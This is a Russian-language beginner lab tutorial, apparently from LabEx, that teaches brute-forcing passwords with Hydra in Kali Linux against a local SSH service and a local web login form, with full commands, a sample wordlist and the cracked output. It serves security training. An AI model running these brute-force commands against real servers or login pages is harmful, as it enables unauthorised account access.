Атаки на пароли в Kali Linux с помощью Hydra

Kali LinuxBeginner
Практиковаться сейчас

Введение

В ходе этой лабораторной работы вы изучите основы этичного хакинга, используя Kali Linux для освоения техники атак на пароли с помощью Hydra — мощного инструмента для брутфорса (полного перебора). Основное внимание уделяется пониманию механизмов таких атак и осознанию того, почему надежные пароли и правильная настройка безопасности систем имеют критическое значение. Вы будете имитировать атаки на учетные данные SSH и веб-формы в контролируемой среде LabEx, что гарантирует безопасность и законность практики. Следуя пошаговым инструкциям, вы создадите словари паролей, выполните атаки перебором и сохраните результаты для последующего анализа. Все задачи выполняются в контейнере Kali Linux, который настраивается автоматически, что делает эту работу доступной даже для абсолютных новичков.

Настройка окружения и установка Hydra

На этом первом этапе вы подготовите рабочую среду внутри контейнера Kali Linux и установите Hydra — основной инструмент для наших атак. При открытии терминала вы автоматически попадаете в оболочку контейнера Kali Linux, поэтому ручная настройка не требуется.

Для начала убедитесь, что вы находитесь в среде Kali Linux, проверив информацию об операционной системе.

cat /etc/os-release

Вы должны увидеть вывод, подтверждающий использование Kali Linux.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

Затем обновите список пакетов, чтобы иметь возможность загрузить последние версии программного обеспечения.

apt update

Теперь установите Hydra. Это универсальный инструмент для брутфорса, поддерживающий множество протоколов. Флаг -y автоматически подтверждает установку.

apt install -y hydra

После завершения установки проверьте работоспособность Hydra, вызвав меню справки.

hydra -h

В выводе отобразится версия Hydra и синтаксис использования, что подтверждает корректную установку.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

Наконец, запустите службу SSH, которая была предварительно настроена при создании среды. Она послужит целью для нашей симуляции атаки.

service ssh start

Вы можете убедиться, что служба SSH запущена, проверив её статус.

service ssh status

Вы должны увидеть сообщение о том, что служба SSH активна и работает.

sshd is running.

Вы успешно настроили окружение, установили Hydra и запустили SSH-сервер для проведения тестов.

Создание словаря для атак перебором

Словарь (wordlist) — это обычный текстовый файл, содержащий список потенциальных паролей, которые Hydra будет использовать для попыток входа в систему. На этом этапе вы создадите небольшой пользовательский словарь для наших учебных атак.

Для создания файла passwords.txt мы воспользуемся текстовым редактором nano.

Сначала установите редактор nano.

apt install -y nano

Теперь создайте файл словаря.

nano passwords.txt

Эта команда откроет новый файл в редакторе. Введите следующие распространенные пароли, каждый с новой строки:

admin
password
123456
test
root

Чтобы сохранить файл, нажмите Ctrl+O, затем Enter для подтверждения имени файла. Для выхода из nano нажмите Ctrl+X.

Проверьте, что файл был создан, просмотрев содержимое текущего каталога.

ls

Вы должны увидеть passwords.txt в списке файлов. Теперь ваш словарь готов к использованию.

passwords.txt

Проведение успешной атаки перебором на SSH

Теперь вы воспользуетесь Hydra и созданным словарем для проведения атаки на службу SSH (Secure Shell), запущенную на вашей локальной машине. SSH — это стандартный протокол для безопасного удаленного администрирования. При подготовке среды мы специально настроили SSH-сервер со слабым паролем, который есть в нашем словаре, чтобы наглядно продемонстрировать работу атаки.

Выполните следующую команду для запуска брутфорса:

hydra -l root -P passwords.txt ssh://127.0.0.1

Разберем параметры этой команды:

  • -l root: этот флаг указывает конкретное имя пользователя для проверки (в данном случае root).
  • -P passwords.txt: этот флаг указывает Hydra использовать файл passwords.txt в качестве источника паролей.
  • ssh://127.0.0.1: здесь указывается целевой протокол (SSH) и адрес хоста (127.0.0.1 — локальная машина).

Так как мы настроили SSH-сервер с паролем root для пользователя root, Hydra успешно найдет эти учетные данные.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

Поздравляем! Атака прошла успешно. Hydra обнаружила, что комбинация логина root и пароля root подходит для доступа к SSH. Это наглядно показывает, как легко взламываются слабые пароли с помощью автоматизированных инструментов.

Проведение успешной атаки на веб-форму авторизации

Далее вы проведете атаку на форму входа на веб-сайте. Это еще одна популярная цель для атак перебором. В нашей среде настроен простой веб-сервер Apache с уязвимой страницей входа, которая принимает учетные данные admin:admin.

Сначала убедитесь, что веб-сервер запущен:

service apache2 start

Теперь выполните команду для атаки на веб-форму:

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

Разберем составляющие этой команды:

  • -l admin: указывает имя пользователя admin.
  • -P passwords.txt: использует ваш словарь паролей.
  • http-post-form://127.0.0.1/login.php: указывает протокол и путь к странице авторизации.
  • 'user=^USER^&pass=^PASS^:F=Incorrect': это ключевая часть модуля веб-атаки.
    • user=^USER^&pass=^PASS^: определяет поля формы. Hydra подставляет проверяемые данные вместо ^USER^ и ^PASS^.
    • :F=Incorrect: сообщает Hydra, что попытка входа считается неудачной, если в ответе сервера найдено слово "Incorrect".

Поскольку наше веб-приложение настроено принимать пару admin:admin, Hydra успешно определит верный пароль.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

Отлично! Веб-атака также завершилась успехом. Это демонстрирует гибкость Hydra и её способность адаптироваться под различные сервисы, включая веб-приложения.

Протоколирование результатов атак

На заключительном этапе вы научитесь сохранять результаты успешной атаки Hydra в файл. Ведение логов — критически важная практика для документирования находок во время теста на проникновение или аудита безопасности.

Повторите атаку на SSH из Шага 3, но на этот раз сохраните результат.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

Новый элемент в этой команде:

  • -o attack_log.txt: этот флаг приказывает Hydra сохранить результаты работы в указанный файл attack_log.txt.

Команда выполнится, выведет результат на экран и одновременно создаст подробный лог-файл.

Чтобы просмотреть содержимое лога, используйте команду cat.

cat attack_log.txt

Файл будет содержать сводку успешной атаки, включая найденные учетные данные.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

Превосходно! Лог-файл четко фиксирует, что Hydra обнаружила связку root:root. Такое подробное протоколирование необходимо для:

  1. Документирования: ведение записей о проведенных тестах.
  2. Отчетности: предоставление доказательств клиентам или руководству.
  3. Анализа: изучение паттернов атак и процента успеха.
  4. Комплаенса: выполнение требований аудита безопасности.

Теперь вы знаете, как сохранять результаты работы Hydra, что является важным навыком профессионального этичного хакера.

Резюме

В этой лабораторной работе вы освоили основы этичного хакинга, проведя реальные атаки на пароли с помощью Hydra в среде Kali Linux. Вы начали с установки Hydra и настройки уязвимых сервисов (SSH и веб-сервер), затем создали собственный словарь со слабыми паролями. На практике вы успешно выполнили атаки перебором против SSH и веб-форм, убедившись, как быстро могут быть скомпрометированы ненадежные пароли. Наконец, вы научились протоколировать результаты для отчетности и анализа.

Основные выводы:

  1. Слабые пароли — легкая добыча: комбинации вроде root:root и admin:admin взламываются мгновенно.
  2. Множество векторов атак: SSH и веб-приложения являются наиболее частыми целями.
  3. Важность документации: сохранение логов обязательно для профессионального тестирования на проникновение.
  4. Оборонительное мышление: понимание механизмов атаки помогает внедрять более эффективные меры защиты.

Эти практические навыки закладывают фундамент для понимания механики брутфорс-атак и подчеркивают критическую важность использования сложных паролей, политик блокировки учетных записей и безопасной настройки систем для защиты от подобных угроз.